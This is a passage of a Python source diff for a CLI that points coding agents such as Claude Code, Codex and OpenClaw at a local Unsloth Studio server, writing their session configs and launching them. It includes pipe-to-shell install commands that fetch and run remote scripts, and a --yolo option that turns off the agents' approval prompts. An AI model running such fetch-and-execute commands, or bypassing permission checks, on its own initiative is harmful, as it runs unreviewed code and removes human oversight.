+ "or set UNSLOTH_API_KEY." + ) + key = _http_json( + "POST", + f"{base}/api/auth/api-keys", + token, + {"name": "Coding agents (unsloth start)"}, + error = "Couldn't create an API key", + )["key"] + _remember_key(cache, base, key, "minted") + return key + + +def _loaded_models(base: str, key: str) -> list: + return _http_json("GET", f"{base}/v1/models", key, error = "Couldn't list models").get("data", []) + + +def _resolve_model( + base: str, + key: str, + requested: Optional[str], + load: LoadOptions = LoadOptions(), +) -> dict: + models = _loaded_models(base, key) + # /v1/models reports the model id but not the active GGUF variant or runtime load + # settings, so an id match alone can hide the wrong quant (Q8_0 serving while the + # user asked for UD-Q4_K_XL). When the user passed any explicit load knob, defer to + # /api/inference/load: the server's already-loaded dedup answers "already_loaded" + # without reloading when the variant AND settings match, so a second session running + # the same command still attaches without evicting the first. + load_has_overrides = bool( + load.gguf_variant or load.max_seq_length or not load.load_in_4bit or load.tensor_parallel + ) + match = ( + None + if requested and load_has_overrides + else next((m for m in models if m["id"] == requested), None) + ) + if requested and match is None: + typer.echo( + f"Ensuring {requested} is loaded with the requested settings…" + if load_has_overrides + else f"Loading {requested} on the Studio server (this can take a while)…" + ) + # Mirror `unsloth run`'s load knobs; keep the default payload as just + # model_path so a bare `--model` load is unchanged. + payload = {"model_path": requested} + if load.gguf_variant: + payload["gguf_variant"] = load.gguf_variant + if load.max_seq_length: + payload["max_seq_length"] = load.max_seq_length + if not load.load_in_4bit: + payload["load_in_4bit"] = False + if load.tensor_parallel: + payload["tensor_parallel"] = True + loaded = _http_json( + "POST", + f"{base}/api/inference/load", + key, + payload, + timeout = 3600, + error = "Model load failed", + ) + # Studio registers the model under a canonical id (resolved identifier, + # casing) that /v1/models echoes but which may differ from the path we + # passed; match on the id the load reports so we don't silently fall + # through to models[0] and connect to a different loaded model. + wanted = {requested} + if isinstance(loaded, dict): + wanted |= {loaded.get("model"), loaded.get("display_name")} - {None} + models = _loaded_models(base, key) + match = next((m for m in models if m["id"] in wanted), None) + if match is not None: + return match + if requested: + # We asked Studio to load it and it didn't surface in /v1/models; don't + # silently hand back an unrelated loaded model. + _fail( + f"Studio didn't report '{requested}' as loaded. Double-check the model " + "id, or load it from the model dropdown in the UI." + ) + if not models: + _fail( + "No model is loaded in Studio. Load one from the model dropdown in " + "the UI, or pass --model to load it from here." + ) + return models[0] + + +def _require_gguf_for_codex(base: str, key: str, model_id: str) -> None: + # Codex always streams, and Studio only streams /v1/responses from llama-server. + try: + status = _http_json("GET", f"{base}/api/inference/status", key) + except urllib.error.HTTPError as exc: + if exc.code == 404: + return # older server without the endpoint; don't block the launch + raise + if status.get("is_gguf"): + return + hint = model_id if "gguf" in model_id.lower() else f"{model_id}-GGUF" + _fail( + f"Codex needs a GGUF model served by llama-server, but {model_id} is on " + f"the transformers backend. Try: unsloth start codex --model {hint}" + ) + + +_DYNAMIC_SECTIONS_FLAG = "--exclude-dynamic-system-prompt-sections" +# Session overlay applied via `claude --settings`; suppresses the attribution header +# for THIS run only (no ~/.claude write) so llama.cpp KV-cache reuse is preserved. It +# reinforces the CLAUDE_CODE_ATTRIBUTION_HEADER env var on builds that read the setting +# only from settings.json. +_CLAUDE_SETTINGS_OVERLAY = '{"env":{"CLAUDE_CODE_ATTRIBUTION_HEADER":"0"}}' + + +def _claude_version() -> Optional[tuple]: + # None = no local `claude` (a --no-launch printout for another machine; assume a + # current build). An unparseable version is treated as too old for the new flags. + executable = shutil.which("claude") + if executable is None: + return None + try: + result = subprocess.run( + [executable, "--version"], capture_output = True, text = True, timeout = 10 + ) + # Pull the X.Y.Z out of the output rather than assuming it is the first token. + # claude prints it first today ("2.1.98 (Claude Code)"), but a format change + # (e.g. "claude version 2.1.98") shouldn't silently drop the optimization flags; + # no match falls through to "too old", same as an unparseable version. + match = re.search(r"(\d+)\.(\d+)\.(\d+)", result.stdout) + return tuple(int(part) for part in match.groups()) if match else (0,) + except Exception: + return (0,) + + +def _claude_flags() -> list: + # Both knobs preserve llama.cpp KV-cache reuse: --exclude-dynamic-system-prompt-sections + # moves per-session context out of the system prompt, and --settings suppresses the + # attribution header for this session only (no persistent ~/.claude write; the env var + # sets it too). Claude Code < 2.1.98 aborts on unknown flags, so gate on the version; + # no local binary means a printout for another machine, so assume a current build. + version = _claude_version() + if version is not None and version < (2, 1, 98): + return [] + return [_DYNAMIC_SECTIONS_FLAG, "--settings", _CLAUDE_SETTINGS_OVERLAY] + + +def _merge_codex_config(existing: str, base: str) -> str: + chunks = re.split(r"(?m)^(?=\[)", existing) # preamble, then one chunk per table + if not re.search(r"(?m)^\s*oss_provider\s*=", chunks[0]): + if chunks[0] and not chunks[0].endswith("\n"): + chunks[0] += "\n" + chunks[0] += f'oss_provider = "{_CODEX_PROFILE}"\n' + # Drop the provider table and any stale [model_providers.unsloth_api.*] subtables. + stale = (_PROVIDER_HEADER, _PROVIDER_HEADER[:-1] + ".") + text = "".join(c for c in chunks if not c.startswith(stale)) + if not text.endswith("\n"): + text += "\n" + if not text.endswith("\n\n"): + text += "\n" + return text + ( + f"{_PROVIDER_HEADER}\n" + 'name = "Unsloth Studio"\n' + f"base_url = {json.dumps(base + '/v1')}\n" + f'env_key = "{_CODEX_ENV_KEY}"\n' + 'wire_api = "responses"\n' + "requires_openai_auth = false\n" + ) + + +def write_codex_config(base: str, model: dict, home: Path) -> None: + home.mkdir(parents = True, exist_ok = True) + + config = home / "config.toml" + existing = config.read_text(encoding = "utf-8") if config.exists() else "" + merged = _merge_codex_config(existing, base) + if merged != existing: + config.write_text(merged, encoding = "utf-8") + typer.echo(f"Updated {config}") + + # oss_provider here too: codex --oss picks the provider from it, and the + # profile layer must beat a user-set value (e.g. "ollama") in config.toml. + profile_text = ( + f'oss_provider = "{_CODEX_PROFILE}"\n' + f'model_provider = "{_CODEX_PROFILE}"\n' + f"model = {json.dumps(model['id'])}\n" + ) + window = model.get("context_length") or model.get("max_context_length") + if window: + profile_text += f"model_context_window = {int(window)}\n" + profile = home / f"{_CODEX_PROFILE}.config.toml" + if not profile.exists() or profile.read_text(encoding = "utf-8") != profile_text: + profile.write_text(profile_text, encoding = "utf-8") + typer.echo(f"Updated {profile}") + + +def _wsl_windows_executable(command: list) -> Optional[str]: + if os.name == "nt" or not os.environ.get("WSL_DISTRO_NAME"): + return None + executable = shutil.which(command[0]) + if executable and executable.startswith("/mnt/"): + return executable + return None + + +def _looks_like_path(value: str) -> bool: + # A var only wants the WSLENV /p flag if its value is a filesystem path: an + # absolute POSIX path (/...), a UNC path (\\...), or a drive-qualified Windows + # path (C:...). Scalar knobs (e.g. a numeric context window) must pass through + # untranslated, so they get no flag. + return bool(value) and (value.startswith(("/", "\\")) or (len(value) >= 2 and value[1] == ":")) + + +def _wsl_bridge_names(env: dict, unset_env: tuple) -> tuple: + # Build the WSLENV share list for a Windows shim reached from WSL. Path-valued + # vars get /p so WSLENV translates them to the Windows path the /mnt shim can + # actually open; a cleared var carries no value to translate. + names = [name + ("/p" if _looks_like_path(value) else "") for name, value in env.items()] + names.extend(unset_env) + return tuple(dict.fromkeys(names)) + + +def _merge_wslenv(current: str, names: tuple) -> str: + # Index WSLENV entries by bare var name, preserving first-seen order. The vars we + # bridge are applied last so our entry wins: a user's pre-existing unflagged "HOME" + # is upgraded to "HOME/p" (rather than left as-is), since WSLENV ignores a duplicate + # name and a bare entry would leave the path untranslated for a Windows shim. + ordered = [] + by_name = {} + for entry in (*current.split(":"), *names): + if not entry: + continue + base = entry.split("/", 1)[0] + if base not in by_name: + ordered.append(base) + by_name[base] = entry + return ":".join(by_name[base] for base in ordered) + + +def _powershell_quote(arg: str) -> str: + # PowerShell reads single-quoted strings literally (an embedded ' is doubled), so + # JSON args such as `--settings {"env":...}` survive intact. list2cmdline's + # backslash-escaped double quotes are cmd.exe syntax and PowerShell mis-parses them. + if arg and re.fullmatch(r"[A-Za-z0-9_./:=+-]+", arg): + return arg + return "'" + arg.replace("'", "''") + "'" + + +def _print_env( + env: dict, + command: list, + unset_env: tuple = (), + wsl_env_bridge: tuple = (), +) -> None: + if os.name == "nt": + for name in unset_env: + typer.echo(f"Remove-Item Env:{name} -ErrorAction SilentlyContinue") + for name, value in env.items(): + # PowerShell: ` is the escape char, and $ triggers expansion inside "". + escaped = value.replace("`", "``").replace('"', '`"').replace("$", "`$") + typer.echo(f'$env:{name} = "{escaped}"') + typer.echo(" ".join(_powershell_quote(arg) for arg in command)) + return + for name in unset_env: + typer.echo(f"export {name}=" if wsl_env_bridge else f"unset {name}") + for name, value in env.items(): + typer.echo(f"export {name}={shlex.quote(value)}") + if wsl_env_bridge: + typer.echo( + f"export WSLENV={shlex.quote(_merge_wslenv(os.environ.get('WSLENV', ''), wsl_env_bridge))}" + ) + # The final line is a SELF-CONTAINED one-liner (inline env, VAR=... cmd) rather than a + # bare command. People copy just the last line, and a bare `codex`/`claude` would then + # run against their real ~/.codex or Anthropic credentials with zero isolation -- e.g. + # inheriting a pre-existing damaged ~/.codex state DB and blaming the recipe. Inline + # assignments scope every var (and empty-string the conflicting ones) to this single + # invocation, so a partial copy behaves the same as pasting the whole block. + inline = [f"{name}=" for name in unset_env] + inline += [f"{name}={shlex.quote(value)}" for name, value in env.items()] + if wsl_env_bridge: + inline.append( + f"WSLENV={shlex.quote(_merge_wslenv(os.environ.get('WSLENV', ''), wsl_env_bridge))}" + ) + typer.echo(" ".join((*inline, shlex.join(command)))) + + +def _install_agent(name: str, install_hint: str) -> Optional[str]: + # Missing agent under --launch: offer to run its documented install command, then + # re-resolve it on PATH. Consent-based (we never auto-run a remote install script + # silently), and a non-interactive stdin cannot answer the prompt, so both the + # no-TTY and declined cases return None and let the caller print the hint and exit. + if not sys.stdin.isatty(): + return None + typer.echo(f"`{name}` is not installed.") + if not typer.confirm(f"Install it now with `{install_hint}`?", default = False): + return None + # Run each hint through the shell it is written for: PowerShell (irm | iex, or npm) + # on Windows, /bin/sh (curl | bash, or npm) everywhere else. + if os.name == "nt": + install_command = ["powershell", "-NoProfile", "-Command", install_hint] + else: + install_command = ["/bin/sh", "-c", install_hint] + if subprocess.run(install_command).returncode != 0: + _fail(f"Install command failed. Run it yourself, then re-run: {install_hint}") + executable = shutil.which(name) + if executable is None: + _fail( + f"`{name}` installed but isn't on PATH yet. Open a new shell (or add it to " + f"PATH), then re-run. Install command: {install_hint}" + ) + return executable + + +def _launch( + command: list, + env: dict, + install_hint: str, + unset_env: tuple = (), +) -> NoReturn: + executable = shutil.which(command[0]) or _install_agent(command[0], install_hint) + if executable is None: + _fail(f"`{command[0]}` not found on PATH. Install it with: {install_hint}") + wsl_env_bridge = _wsl_bridge_names(env, unset_env) if _wsl_windows_executable(command) else () + child_env = dict(os.environ) + if wsl_env_bridge: + child_env["WSLENV"] = _merge_wslenv(child_env.get("WSLENV", ""), wsl_env_bridge) + for name in unset_env: + child_env[name] = "" + else: + for name in unset_env: + child_env.pop(name, None) + child_env.update(env) + # Ctrl+C cancels a turn inside the agent; don't let it kill this wrapper. + previous = signal.signal(signal.SIGINT, signal.SIG_IGN) + try: + code = subprocess.run([executable, *command[1:]], env = child_env).returncode + finally: + signal.signal(signal.SIGINT, previous) + # Negative returncode means killed by signal N; shells expect 128+N. + raise typer.Exit(code = code if code >= 0 else 128 - code) + + +def _connect( + api_key: Optional[str], + model: Optional[str], + load: LoadOptions = LoadOptions(), + *, + serve: bool = False, + launch: bool = True, +) -> tuple: + # `--model org/name:QUANT` is shorthand for `--model org/name --gguf-variant QUANT`. + # Split it before we match/serve so the attach path resolves against the already-loaded + # `org/name` (listed without the suffix) instead of reloading a `:`-suffixed repo id -- + # which Studio rejects and which would evict a model another session is using. + if model: + repo, variant = _split_repo_variant(model) + if variant: + model = repo + if not load.gguf_variant: + load = load._replace(gguf_variant = variant) + base, server = _require_studio(model, load, serve = serve, launch = launch) + try: + key = _agent_api_key(base, api_key, auto_started = server is not None) + # A server we just started has exactly the requested model loaded, so resolve to + # whatever it is serving instead of re-matching the raw --model string. + entry = _resolve_model(base, key, None if server is not None else model, load) + except BaseException: + _shutdown_auto_served() + raise + return base, key, entry + + +def _run( + base: str, + entry: dict, + env: dict, + command: list, + *, + launch: bool, + install_hint: str, + unset_env: tuple = (), + clear_screen: bool = False, +) -> None: + # Some agents (Pi) render inline from wherever the cursor sits: their first + # paint assumes a clean screen rather than clearing or entering the + # alternate screen themselves. Hand them one so the session doesn't start + # mid-scroll under our connection output. click.clear() is cross-platform + # and a no-op when stdout is not a terminal (piped/CI), so transcripts and + # --no-launch recipes stay intact. + if launch and clear_screen: + click.clear() + typer.echo(f"Studio {base} · model {entry['id']}") + wsl_env_bridge = _wsl_bridge_names(env, unset_env) if _wsl_windows_executable(command) else () + if not launch: + _print_env(env, command, unset_env = unset_env, wsl_env_bridge = wsl_env_bridge) + return + try: + _launch(command, env, install_hint = install_hint, unset_env = unset_env) + finally: + # Tear down a server we auto-started once the agent session ends (no-op otherwise). + _shutdown_auto_served() + + +def _agents_config_root() -> Path: + ensure_studio_backend_path() + from utils.paths import auth_root + return auth_root() / "agents" + + +@contextlib.contextmanager +def _session_config(agent: str, launch: bool): + """Yield a private directory for an agent's session config (never the user's own). + + launch: an ephemeral temp dir removed after the agent process exits, so nothing + persists. no-launch: a stable Unsloth-owned dir (the printed recipe is run later + on this machine), reused across runs. Either way the user's real ~/. + config is left untouched. + """ + if launch: + path = Path(tempfile.mkdtemp(prefix = f"unsloth-{agent}-")) + try: + yield path + finally: + shutil.rmtree(path, ignore_errors = True) + else: + # Never wipe this dir: a previously printed recipe may still be running + # an agent whose sessions/state live here, and every config writer + # merges idempotently into an existing home anyway. + path = _agents_config_root() / agent + path.mkdir(parents = True, exist_ok = True, mode = 0o700) + yield path + + +def write_openclaw_config( + base: str, + key: str, + model: dict, + path: Path, + yolo: bool = False, +) -> None: + config = _read_json_object(path) + if config is None: + typer.echo( + f"Warning: couldn't parse {path} — add an 'unsloth' provider there " + "yourself, or move the file aside and re-run.", + err = True, + ) + return + before = json.dumps(config, sort_keys = True) + # Studio is a generic OpenAI-compatible /v1 endpoint (the vLLM/LM Studio path). + provider_model = {"id": model["id"], "name": model["id"]} + window = model.get("context_length") or model.get("max_context_length") + if window: + provider_model["contextWindow"] = int(window) + models = _subdict(config, "models") + models.setdefault("mode", "merge") + _subdict(models, "providers")["unsloth"] = { + "baseUrl": f"{base}/v1", + "apiKey": key, + "api": "openai-completions", + "models": [provider_model], + } + # Pin a default model, else OpenClaw drops into its setup agent ("no models available"). + defaults = _subdict(_subdict(config, "agents"), "defaults") + _subdict(defaults, "model")["primary"] = f"unsloth/{model['id']}" + # Unauthenticated loopback gateway: without auth.mode=none the client won't open + # the websocket. The daemon must still be started separately (`openclaw gateway`). + gateway = _subdict(config, "gateway") + gateway.setdefault("mode", "local") + _subdict(gateway, "auth").setdefault("mode", "none") + if yolo: + # OpenClaw has no --yolo flag, and it gates tool execution on BOTH the + # tools.exec config AND a host-local approvals file (the stricter wins), so + # setting only the config still lets the agent prompt/deny. Set both, mirroring + # `openclaw exec-policy preset yolo`. + exec_policy = _subdict(_subdict(config, "tools"), "exec") + exec_policy["host"] = "gateway" + exec_policy["security"] = "full" + exec_policy["ask"] = "off" + # Approvals file in OPENCLAW_STATE_DIR (== this config's dir). ask=off means + # nothing is ever prompted, so the runtime socket block is unnecessary here. + approvals = path.parent / "exec-approvals.json" + _write_private_json( + approvals, + {"version": 1, "defaults": {"security": "full", "ask": "off", "askFallback": "full"}}, + ) + typer.echo(f"Updated {approvals}") + if json.dumps(config, sort_keys = True) != before: + _write_private_json(path, config) + typer.echo(f"Updated {path}") + + +def write_opencode_config( + base: str, + key: str, + model: dict, + path: Path, + yolo: bool = False, +) -> None: + config = _read_json_object(path) + if config is None: + typer.echo( + f"Warning: couldn't parse {path} — add an 'unsloth' provider there " + "yourself, or move the file aside and re-run.", + err = True, + ) + return + before = json.dumps(config, sort_keys = True) + config.setdefault("$schema", "https://opencode.ai/config.json") + model_entry = {"name": model["id"]} + window = model.get("context_length") or model.get("max_context_length") + if window: + window = int(window) + # A custom-provider model with no limit defaults to context 0, which silently + # disables OpenCode's auto-compaction; declare the real window (and a sane + # output cap) so it compacts instead of overflowing the server. + model_entry["limit"] = {"context": window, "output": min(window // 4, 8192)} + _subdict(config, "provider")["unsloth"] = { + "npm": "@ai-sdk/openai-compatible", + "name": "Unsloth Studio", + "options": {"baseURL": f"{base}/v1", "apiKey": key}, + "models": {model["id"]: model_entry}, + } + # OpenCode selects a model by "/". + config["model"] = f"unsloth/{model['id']}" + if window: + # Compact with ~10% headroom (near 90% full). The fixed 20k-token default + # buffer over-compacts, or never settles, on a small local context. + compaction = _subdict(config, "compaction") + compaction["auto"] = True + compaction["reserved"] = max(1, window // 10) + if yolo: + # OpenCode has no --yolo flag; auto-approve is the config `permission` block + # (singular). Allow the prompting tools so tool calls don't block on the TUI. + config["permission"] = {"edit": "allow", "bash": "allow", "webfetch": "allow"} + if json.dumps(config, sort_keys = True) != before: + _write_private_json(path, config) + typer.echo(f"Updated {path}") + + +def write_hermes_config(base: str, model: dict, path: Path) -> None: + import yaml + + config: dict = {} + if path.exists(): + try: + loaded = yaml.safe_load(path.read_text(encoding = "utf-8")) + except (yaml.YAMLError, OSError): + typer.echo( + f"Warning: couldn't parse {path} — configure the custom endpoint " + "there yourself, or move the file aside and re-run.", + err = True, + ) + return + if isinstance(loaded, dict): + config = loaded + elif loaded is not None: + # Non-empty, non-mapping YAML is a user-managed file; leave it. + typer.echo( + f"Warning: couldn't parse {path} — configure the custom endpoint " + "there yourself, or move the file aside and re-run.", + err = True, + ) + return + # Hermes only reads the key for a *named* custom provider (a bare + # `provider: custom` ignores it), so register it under providers.*. + _subdict(config, "model").update( + provider = f"custom:{_HERMES_PROVIDER}", + default = model["id"], + api_mode = "openai", + ) + window = model.get("context_length") or model.get("max_context_length") + if window: + window = int(window) + # Hermes auto-detects context from GET /v1/models, but OpenAI's schema has no + # context field, so it can fall back to a 256k default that overflows a small + # local model. Pin the real window (top-level model.context_length is the + # highest-priority override) and compact at 90% of it (Hermes defaults to 50%). + if window >= _HERMES_MIN_CONTEXT: + _subdict(config, "model")["context_length"] = window + _subdict(config, "compression").update(enabled = True, threshold = 0.9) + else: + # Below Hermes' 64,000-token floor it refuses to initialize, so claim + # the floor and shrink the threshold so compaction still fires at 90% + # of the REAL window (the threshold is a fraction of the claimed + # context_length). The auxiliary override keeps the same floor check + # from rejecting the compression model mid-session. + _subdict(config, "model")["context_length"] = _HERMES_MIN_CONTEXT + threshold = round(0.9 * window / _HERMES_MIN_CONTEXT, 4) + _subdict(config, "compression").update(enabled = True, threshold = threshold) + auxiliary = _subdict(_subdict(config, "auxiliary"), "compression") + auxiliary["context_length"] = _HERMES_MIN_CONTEXT + _subdict(config, "providers")[_HERMES_PROVIDER] = { + "base_url": f"{base}/v1", + "api_mode": "openai", + "key_env": _HERMES_ENV_KEY, + } + text = yaml.safe_dump(config, sort_keys = False) + if not path.exists() or path.read_text(encoding = "utf-8") != text: + path.parent.mkdir(parents = True, exist_ok = True) + path.write_text(text, encoding = "utf-8") + typer.echo(f"Updated {path}") + + +def write_pi_config(base: str, key: str, model: dict, path: Path) -> None: + config = _read_json_object(path) + if config is None: + typer.echo( + f"Warning: couldn't parse {path} — add an 'unsloth' provider there " + "yourself, or move the file aside and re-run.", + err = True, + ) + return + before = json.dumps(config, sort_keys = True) + # Pi reads custom providers from ~/.pi/agent/models.json (HOME-relocated for the + # session). Studio is a generic OpenAI-compatible /v1 endpoint, and the key lives + # in the config rather than the env (matching openclaw/opencode). + provider_model = {"id": model["id"]} + window = model.get("context_length") or model.get("max_context_length") + if window: + window = int(window) + # An unspecified model defaults to contextWindow 128000 / maxTokens 16384, + # far larger than a small Studio context, so Pi compacts too late and overflows + # the server. Pin the real window and a sane output cap (mirrors OpenCode). + provider_model["contextWindow"] = window + provider_model["maxTokens"] = min(window // 4, 8192) + _subdict(config, "providers")[_PI_PROVIDER] = { + "api": "openai-completions", + "baseUrl": f"{base}/v1", + "apiKey": key, + "models": [provider_model], + } + if json.dumps(config, sort_keys = True) != before: + _write_private_json(path, config) + typer.echo(f"Updated {path}") + + +@start_app.command("claude", context_settings = _PASSTHROUGH) +def claude( + ctx: typer.Context, + model: Optional[str] = _MODEL_OPTION, + api_key: Optional[str] = _KEY_OPTION, + launch: bool = _LAUNCH_OPTION, + gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION, + max_seq_length: int = _CONTEXT_OPTION, + load_in_4bit: bool = _LOAD_4BIT_OPTION, + tensor_parallel: bool = _TENSOR_PARALLEL_OPTION, + serve: bool = _SERVE_OPTION, + yolo: bool = _YOLO_OPTION, +): + """Point Claude Code at the running Studio server and start it.""" + base, key, entry = _connect( + api_key, + model, + LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel), + serve = serve, + launch = launch, + ) + model_id = entry["id"] + + env = { + "ANTHROPIC_BASE_URL": base, + "ANTHROPIC_AUTH_TOKEN": key, + "ANTHROPIC_MODEL": model_id, + # Session-only (no ~/.claude write): suppress the attribution header so + # llama.cpp KV-cache reuse is preserved; --settings below reinforces it. + "CLAUDE_CODE_ATTRIBUTION_HEADER": "0", + # Update checks, beta features, and other background requests either + # stall against a local server or evict the conversation from + # llama-server's KV-cache slots, so turn off everything nonessential. + "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC": "1", + "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS": "1", + # A local server streams in bursts; disable the full-screen TUI redraw so the + # terminal doesn't flicker between tokens. + "CLAUDE_CODE_NO_FLICKER": "1", + } + # Claude Code auto-compacts against its native (~600k token) window; a local + # model's context is usually far smaller, so size the window to the loaded + # model's real context length. Otherwise the conversation overflows the + # server's window (silent truncation) long before Claude decides to compact. + # codex/openclaw get the same value through their config (model_context_window + # / contextWindow); Claude has no config file, so it rides on the env var. + window = entry.get("context_length") or entry.get("max_context_length") + if window: + env["CLAUDE_CODE_AUTO_COMPACT_WINDOW"] = str(int(window)) + # Compact at 90% of that window; the override only takes effect once the + # window is set, and it can only lower the threshold, so it just guarantees + # headroom before the server's context limit instead of relying on Claude's + # default (which is tuned for its native 200K/1M window). + env["CLAUDE_AUTOCOMPACT_PCT_OVERRIDE"] = "90" + # --yolo (or its aliases) maps to Claude's own --dangerously-skip-permissions. + # IS_SANDBOX is left unset on purpose: Claude refuses bypass mode as root unless a + # sandbox is detected, and we don't want to falsely claim one on the user's host. + command = [ + "claude", + "--model", + model_id, + *_claude_flags(), + *_yolo_command_flags("claude", yolo), + *ctx.args, + ] + install_hint = ( + "irm https://claude.ai/install.ps1 | iex" + if os.name == "nt" + else "curl -fsSL https://claude.ai/install.sh | bash" + ) + _run( + base, + entry, + env, + command, + launch = launch, + install_hint = install_hint, + unset_env = _CLAUDE_ENV_UNSET, + ) + + +@start_app.command("codex", context_settings = _PASSTHROUGH) +def codex( + ctx: typer.Context, + model: Optional[str] = _MODEL_OPTION, + api_key: Optional[str] = _KEY_OPTION, + launch: bool = _LAUNCH_OPTION, + gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION, + max_seq_length: int = _CONTEXT_OPTION, + load_in_4bit: bool = _LOAD_4BIT_OPTION, + tensor_parallel: bool = _TENSOR_PARALLEL_OPTION, + serve: bool = _SERVE_OPTION, + yolo: bool = _YOLO_OPTION, +): + """Point OpenAI Codex at the running Studio server and start it.""" + base, key, entry = _connect( + api_key, + model, + LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel), + serve = serve, + launch = launch, + ) + # This preflight runs after _connect may have auto-started a server but before _run + # installs its teardown finally, so tear the server down here if it rejects the model + # (e.g. a transformers-backend model) rather than leaving it on the atexit backstop. + try: + _require_gguf_for_codex(base, key, entry["id"]) + except BaseException: + _shutdown_auto_served() + raise + command = [ + "codex", + "--oss", + "--profile", + _CODEX_PROFILE, + *_yolo_command_flags("codex", yolo), + *ctx.args, + ] + with _session_config("codex", launch) as home: + write_codex_config(base, entry, home) + env = {_CODEX_ENV_KEY: key, "CODEX_HOME": str(home)} + _run(base, entry, env, command, launch = launch, install_hint = "npm install -g @openai/codex") + + +@start_app.command("openclaw", context_settings = _PASSTHROUGH) +def openclaw( + ctx: typer.Context, + model: Optional[str] = _MODEL_OPTION, + api_key: Optional[str] = _KEY_OPTION, + launch: bool = _LAUNCH_OPTION, + gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION, + max_seq_length: int = _CONTEXT_OPTION, + load_in_4bit: bool = _LOAD_4BIT_OPTION, + tensor_parallel: bool = _TENSOR_PARALLEL_OPTION, + serve: bool = _SERVE_OPTION, + yolo: bool = _YOLO_OPTION, +): + """Point OpenClaw at the running Studio server and start it.""" + base, key, entry = _connect( + api_key, + model, + LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel), + serve = serve, + launch = launch, + ) + command = ["openclaw", *ctx.args] + install_hint = ( + "iwr -useb https://openclaw.ai/install.ps1 | iex" + if os.name == "nt" + else "curl -fsSL https://openclaw.ai/install.sh | bash" + ) + with _session_config("openclaw", launch) as cfg: + config_path = cfg / "openclaw.json" + # key lives in the config, not the env; --yolo writes the exec policy here too. + write_openclaw_config(base, key, entry, config_path, yolo = yolo) + # Scope both config and state so OpenClaw never touches the user's ~/.openclaw. + env = {"OPENCLAW_CONFIG_PATH": str(config_path), "OPENCLAW_STATE_DIR": str(cfg)} + _run(base, entry, env, command, launch = launch, install_hint = install_hint) + + +@start_app.command("opencode", context_settings = _PASSTHROUGH) +def opencode( + ctx: typer.Context, + model: Optional[str] = _MODEL_OPTION, + api_key: Optional[str] = _KEY_OPTION, + launch: bool = _LAUNCH_OPTION, + gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION, + max_seq_length: int = _CONTEXT_OPTION, + load_in_4bit: bool = _LOAD_4BIT_OPTION, + tensor_parallel: bool = _TENSOR_PARALLEL_OPTION, + serve: bool = _SERVE_OPTION, + yolo: bool = _YOLO_OPTION, +): + """Point OpenCode at the running Studio server and start it.""" + base, key, entry = _connect( + api_key, + model, + LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel), + serve = serve, + launch = launch, + ) + command = ["opencode", *ctx.args] + with _session_config("opencode", launch) as cfg: + config_path = cfg / "opencode.json" + # OPENCODE_CONFIG is an overlay (loaded between the user's global and project + # configs), so this adds the Unsloth provider/model for the session without + # changing the user's default model. Key lives in the config, not the env. + write_opencode_config(base, key, entry, config_path, yolo = yolo) + # A project's own opencode.json outranks OPENCODE_CONFIG, so the session model + # pin (and --yolo permissions) would silently lose to a repo config. Carry the + # settings that must win in OPENCODE_CONFIG_CONTENT, which outranks project + # config; the API key stays in the private file, never in the printed env. + inline_config: dict = {"model": f"unsloth/{entry['id']}"} + if yolo: + inline_config["permission"] = {"edit": "allow", "bash": "allow", "webfetch": "allow"} + env = { + "OPENCODE_CONFIG": str(config_path), + "OPENCODE_CONFIG_CONTENT": json.dumps(inline_config), + } + _run(base, entry, env, command, launch = launch, install_hint = "npm install -g opencode-ai") + + +@start_app.command("hermes", context_settings = _PASSTHROUGH) +def hermes( + ctx: typer.Context, + model: Optional[str] = _MODEL_OPTION, + api_key: Optional[str] = _KEY_OPTION, + launch: bool = _LAUNCH_OPTION, + gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION, + max_seq_length: int = _CONTEXT_OPTION, + load_in_4bit: bool = _LOAD_4BIT_OPTION, + tensor_parallel: bool = _TENSOR_PARALLEL_OPTION, + serve: bool = _SERVE_OPTION, + yolo: bool = _YOLO_OPTION, +): + """Point Hermes (Nous Research) at the running Studio server and start it.""" + base, key, entry = _connect( + api_key, + model, + LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel), + serve = serve, + launch = launch, + ) + command = ["hermes", *_yolo_command_flags("hermes", yolo), *ctx.args] + install_hint = ( + "curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent" + "/main/scripts/install.sh | bash" + ) + with _session_config("hermes", launch) as home: + # HERMES_HOME relocates hermes' whole home dir (config.yaml, sessions, state) + # like CODEX_HOME, so the user's ~/.hermes is left untouched for the session. + write_hermes_config(base, entry, home / "config.yaml") + env = {_HERMES_ENV_KEY: key, "HERMES_HOME": str(home)} + _run(base, entry, env, command, launch = launch, install_hint = install_hint) + + +@start_app.command("pi", context_settings = _PASSTHROUGH) +def pi( + ctx: typer.Context, + model: Optional[str] = _MODEL_OPTION, + api_key: Optional[str] = _KEY_OPTION, + launch: bool = _LAUNCH_OPTION, + gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION, + max_seq_length: int = _CONTEXT_OPTION, + load_in_4bit: bool = _LOAD_4BIT_OPTION, + tensor_parallel: bool = _TENSOR_PARALLEL_OPTION, + serve: bool = _SERVE_OPTION, + yolo: bool = _YOLO_OPTION, +): + """Point Pi (coding agent) at the running Studio server and start it.""" + base, key, entry = _connect( + api_key, + model, + LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel), + serve = serve, + launch = launch, + ) + # Pi defaults to the google provider, so pin our provider/model on the command + # line; the custom OpenAI-compatible endpoint itself is only configurable via + # ~/.pi/agent/models.json. + command = [ + "pi", + "--provider", + _PI_PROVIDER, + "--model", + entry["id"], + *_yolo_command_flags("pi", yolo), + *ctx.args, + ] + # --ignore-scripts matches Pi's documented install recipe (its README notes Pi needs + # no install scripts), so accepting the prompt skips dependency lifecycle scripts. + install_hint = "npm install -g --ignore-scripts @earendil-works/pi-coding-agent" + with _session_config("pi", launch) as home: + # Pi resolves its config dir from PI_CODING_AGENT_DIR first (getAgentDir() prefers + # it over $HOME/.pi/agent), so pin it at the session dir: an inherited + # PI_CODING_AGENT_DIR in the user's shell would 